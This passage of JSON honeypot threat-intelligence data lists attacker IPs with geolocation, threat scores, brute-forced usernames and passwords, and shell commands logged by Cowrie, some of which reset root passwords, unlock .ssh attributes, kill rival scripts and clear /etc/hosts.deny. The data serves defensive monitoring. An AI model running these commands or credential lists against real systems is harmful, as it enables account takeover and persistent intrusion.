      "as_org": "Viettel Corporation",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 642,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T06:42:39.275000+00:00",
        "last_seen_30d": "2026-05-11T07:22:29.815000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 447,
        "Suricata": 195
      }
    },
    "118.194.234.8": {
      "attack_count": 446,
      "first_seen": "2026-05-08T17:46:35.968Z",
      "last_seen": "2026-05-13T01:26:30.581Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "dev",
        "ftpuser",
        "odoo",
        "administrator",
        "ali",
        "ec2-user",
        "es",
        "guest",
        "hadoop",
        "jumpserver",
        "minecraft",
        "oracle",
        "postgres",
        "spadmin",
        "test1",
        "ts3server"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789",
        "12",
        "123012",
        "123321",
        "1234",
        "12341234",
        "1234567890",
        "123qweZXC",
        "135858",
        "2014qwer",
        "555",
        "P@$$W0RD",
        "P@ssword123",
        "Password",
        "Password123",
        "aaa123",
        "aaaaaaaaaaaa",
        "admin123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123321\\nLGTFMTWeWwGH\\nLGTFMTWeWwGH\\n\"|passwd",
        "echo \"12\\n8dpUQemJOEf7\\n8dpUQemJOEf7\\n\"|passwd",
        "echo \"root:KYE05Il7EY6b\"|chpasswd|bash",
        "echo -e \"123321\\nLGTFMTWeWwGH\\nLGTFMTWeWwGH\"|passwd|bash",
        "echo -e \"12\\n8dpUQemJOEf7\\n8dpUQemJOEf7\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 567,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:46:35.968000+00:00",
        "last_seen_30d": "2026-05-13T01:27:38.776000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 446,
        "Suricata": 121
      }
    },
    "182.18.161.165": {
      "attack_count": 369,
      "first_seen": "2026-05-02T10:16:39.791Z",
      "last_seen": "2026-05-02T22:54:57.349Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "user",
        "oracle",
        "test",
        "git",
        "openvpn",
        "test1",
        "345gs5662d34",
        "User",
        "administrador",
        "debian",
        "developer",
        "ftpuser1",
        "gitlab",
        "gtaserver",
        "hadoop",
        "itadmin",
        "oracle10"
      ],
      "passwords_attempted": [
        "123",
        "1111",
        "111111",
        "12",
        "123123",
        "123321",
        "1234",
        "123456",
        "12345678",
        "123456Ab",
        "123mudar",
        "159753",
        "1qaz!QAZ",
        "21",
        "222222",
        "3245gs5662d34",
        "345gs5662d34",
        "Digitalocean",
        "Huawei@123",
        "Janitza"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Password\\n4aPPn5Amezzp\\n4aPPn5Amezzp\\n\"|passwd",
        "echo -e \"Password\\n4aPPn5Amezzp\\n4aPPn5Amezzp\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 18229,
      "as_org": "CtrlS",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 506,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T10:16:39.791000+00:00",
        "last_seen_30d": "2026-05-02T22:55:58.354000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 369,
        "Suricata": 137
      }
    },
    "69.6.220.104": {
      "attack_count": 314,
      "first_seen": "2026-05-04T00:13:26.032Z",
      "last_seen": "2026-05-20T17:32:03.600Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftp",
        "ryu",
        "admin",
        "bei",
        "cheng",
        "hao",
        "huangwei",
        "icinga",
        "jindong",
        "keycloak",
        "lamp",
        "lili",
        "qihoo",
        "tianjin",
        "xiao"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "2026",
        "bei123",
        "cheng123",
        "hao123",
        "harley",
        "hello",
        "huangwei",
        "icinga",
        "jiaotong",
        "keycloak",
        "nba2k",
        "qihoo",
        "tianjin",
        "xiao",
        "xuniji"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nBQb85KmAIWUQ\\nBQb85KmAIWUQ\\n\"|passwd",
        "echo \"123456\\nK7aUpn5RRB8w\\nK7aUpn5RRB8w\\n\"|passwd",
        "echo \"root:I2Str6MIYfrM\"|chpasswd|bash",
        "echo -e \"123456\\nBQb85KmAIWUQ\\nBQb85KmAIWUQ\"|passwd|bash",
        "echo -e \"123456\\nK7aUpn5RRB8w\\nK7aUpn5RRB8w\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 378,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:13:26.032000+00:00",
        "last_seen_30d": "2026-05-20T17:33:11.500000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 314,
        "Suricata": 64
      }
    },
    "103.189.234.85": {
      "attack_count": 312,
      "first_seen": "2026-05-18T12:19:35.391Z",
      "last_seen": "2026-05-23T19:32:43.526Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "noc",
        "builder",
        "chromeuser",
        "louis",
        "sambauser",
        "sens",
        "systemd",
        "testing",
        "tunnel"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456qq@",
        "12345q",
        "Administrator2",
        "Azerty2025",
        "Bl123456",
        "Jh123456",
        "Odoo",
        "Qwe123asd",
        "Welcome123",
        "abcde!@",
        "aiswaria",
        "avorion",
        "bolton",
        "cdnadmin",
        "datacenter"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nRjCS82ACgLa1\\nRjCS82ACgLa1\\n\"|passwd",
        "echo \"root:XXJ1MewYdWmH\"|chpasswd|bash",
        "echo -e \"1234\\nRjCS82ACgLa1\\nRjCS82ACgLa1\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 404,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T12:19:35.391000+00:00",
        "last_seen_30d": "2026-05-23T19:33:46.089000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 92
      }
    },
    "124.156.195.146": {
      "attack_count": 304,
      "first_seen": "2026-05-17T17:25:09.252Z",
      "last_seen": "2026-05-17T17:52:12.855Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "108108108",
        "1234567!@#$%^&",
        "963963",
        "Asd@123321",
        "P@$$WORD2018",
        "P@55word",
        "Pass@12345",
        "Qwer!234",
        "adam",
        "bav123",
        "centos8svm",
        "emily",
        "ethereum",
        "felix",
        "matrix2004",
        "netgear1",
        "not4you",
        "qwer12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:DDZoHeyqNEcx\"|chpasswd|bash",
        "echo \"root:jVy0LR0V5rWY\"|chpasswd|bash",
        "echo \"root:sVfeNv1AmYiY\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T17:25:09.252000+00:00",
        "last_seen_30d": "2026-05-17T17:53:19.980000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 58
      }
    },
    "167.71.253.235": {
      "attack_count": 281,
      "first_seen": "2026-05-21T22:02:43.900Z",
      "last_seen": "2026-05-21T22:47:56.377Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "copia",
        "monitor",
        "admin",
        "crm",
        "sftp",
        "steve",
        "teamcity",
        "test1234"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "09N1RCa1Hs31",
        "12345",
        "123456",
        "123@123aA",
        "Admin123789",
        "QazWsx123",
        "admin123456",
        "copia",
        "crm",
        "lucas123",
        "qq123456",
        "steve123",
        "teamcity",
        "test1234",
        "www.123.com"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nuPudDvyMrl8c\\nuPudDvyMrl8c\\n\"|passwd",
        "echo \"copia\\nVC5fc1LmvjqH\\nVC5fc1LmvjqH\\n\"|passwd",
        "echo \"root:eF6XeRQXtotS\"|chpasswd|bash",
        "echo -e \"12345\\nuPudDvyMrl8c\\nuPudDvyMrl8c\"|passwd|bash",
        "echo -e \"copia\\nVC5fc1LmvjqH\\nVC5fc1LmvjqH\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:02:43.900000+00:00",
        "last_seen_30d": "2026-05-21T22:48:58.051000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 281,
        "Suricata": 50
      }
    },
    "200.108.174.4": {
      "attack_count": 250,
      "first_seen": "2026-05-24T18:21:44.313Z",
      "last_seen": "2026-05-24T19:47:22.265Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "iksi",
        "intel",
        "dev",
        "dict",
        "httpd",
        "kafka",
        "postgres",
        "root/bin",
        "sql",
        "steam",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1",
        "1111",
        "121212",
        "12345",
        "123pls123A!",
        "1q2w3e",
        "Abc123@@",
        "Hello1234!",
        "Pa55word",
        "dict",
        "fjbdfdjkdsfs541544@@",
        "qwe1234.",
        "root",
        "roottoor",
        "ubuntu123",
        "ubuntu20svm",
        "zhbjETuyMffoL8F"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:Bj1PUfiNtuNL\"|chpasswd|bash",
        "echo \"zhbjETuyMffoL8F\\nBF7uzCzHXEwN\\nBF7uzCzHXEwN\\n\"|passwd",
        "echo -e \"zhbjETuyMffoL8F\\nBF7uzCzHXEwN\\nBF7uzCzHXEwN\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Jos\u00e9 de Ribamar",
      "asn": 270256,
      "as_org": "VILDONET TELECOM",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 310,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:21:44.313000+00:00",
        "last_seen_30d": "2026-05-24T19:48:26.050000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 250,
        "Suricata": 60
      }
    },
    "103.200.25.79": {
      "attack_count": 242,
      "first_seen": "2026-05-13T17:11:58.151Z",
      "last_seen": "2026-05-13T17:56:17.898Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345@qwert",
        "231281",
        "Cisco1234",
        "P@ssw0rd2020",
        "a123321",
        "abcd12345",
        "adminpw",
        "chris",
        "ftp@123",
        "gbl123!@#",
        "gitlab123",
        "h3lpd3sk",
        "inactive",
        "ivete",
        "q1w2e3r4t5",
        "redskins",
        "rocket",
        "srinivas"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:D4jD6qDn2pol\"|chpasswd|bash",
        "echo \"yzOeGur5kZbZ\\n6JJ45JUIxMEl\\n6JJ45JUIxMEl\\n\"|passwd",
        "echo -e \"yzOeGur5kZbZ\\n6JJ45JUIxMEl\\n6JJ45JUIxMEl\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131386,
      "as_org": "Long Van System Solution JSC",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T17:11:58.151000+00:00",
        "last_seen_30d": "2026-05-13T17:57:24.047000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 58
      }
    },
    "52.237.80.79": {
      "attack_count": 241,
      "first_seen": "2026-05-19T22:07:07.503Z",
      "last_seen": "2026-05-19T22:40:07.814Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456789qq",
        "123abc!!!",
        "1qw23er4",
        "252569",
        "Huawei123!",
        "abhijit",
        "asterisk123",
        "buenavista",
        "claude",
        "freddy",
        "gilberto",
        "postgres321",
        "pulamea",
        "root321",
        "rsyncd",
        "sabrina",
        "soho",
        "tomas"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:a7gTdhaHTS3O\"|chpasswd|bash",
        "echo \"root:b7vGX2P1lidS\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:07:07.503000+00:00",
        "last_seen_30d": "2026-05-19T22:41:16.184000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 56
      }
    },
    "43.156.13.13": {
      "attack_count": 236,
      "first_seen": "2026-05-18T17:51:24.837Z",
      "last_seen": "2026-05-18T18:18:39.786Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "admin1",
        "debian",
        "dev",
        "ec2-user",
        "kingbase",
        "mini",
        "morgan",
        "nvidia",
        "odoo17",
        "tianhao",
        "ts3",
        "ubuntu",
        "ws"
      ],
      "passwords_attempted": [
        "1",
        "3245gs5662d34",
        "345gs5662d34",
        "0001",
        "121212",
        "123",
        "12345678",
        "123456789",
        "1qaz2wsx!",
        "Ab123456.",
        "Gx@123456",
        "Royal@123",
        "admin",
        "dev2022",
        "ipscan",
        "mini",
        "morgan",
        "nvidia",
        "tianhao123",
        "ws"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:9YbC8cn8AUCF\"|chpasswd|bash",
        "echo \"root:JhrVcpB80c50\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:51:24.837000+00:00",
        "last_seen_30d": "2026-05-18T18:19:48.545000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 54
      }
    },
    "123.58.212.28": {
      "attack_count": 219,
      "first_seen": "2026-05-11T08:12:14.533Z",
      "last_seen": "2026-05-11T09:02:16.361Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "test",
        "admin",
        "developer",
        "345gs5662d34",
        "adm",
        "alpine",
        "deployer",
        "dockeradmin",
        "es",
        "hduser",
        "odoo",
        "ooklaserver",
        "oracle",
        "roger",
        "test_user1",
        "tester",
        "tsuser",
        "user"
      ],
      "passwords_attempted": [
        "12345678",
        "abc123",
        "test",
        "0000",
        "1111",
        "123",
        "1234!@#$",
        "123qwe@",
        "1q2w3e4r",
        "2021",
        "2222",
        "3245gs5662d34",
        "345gs5662d34",
        "987654321",
        "M3gaP33!",
        "P@ssword1",
        "PASSWORD",
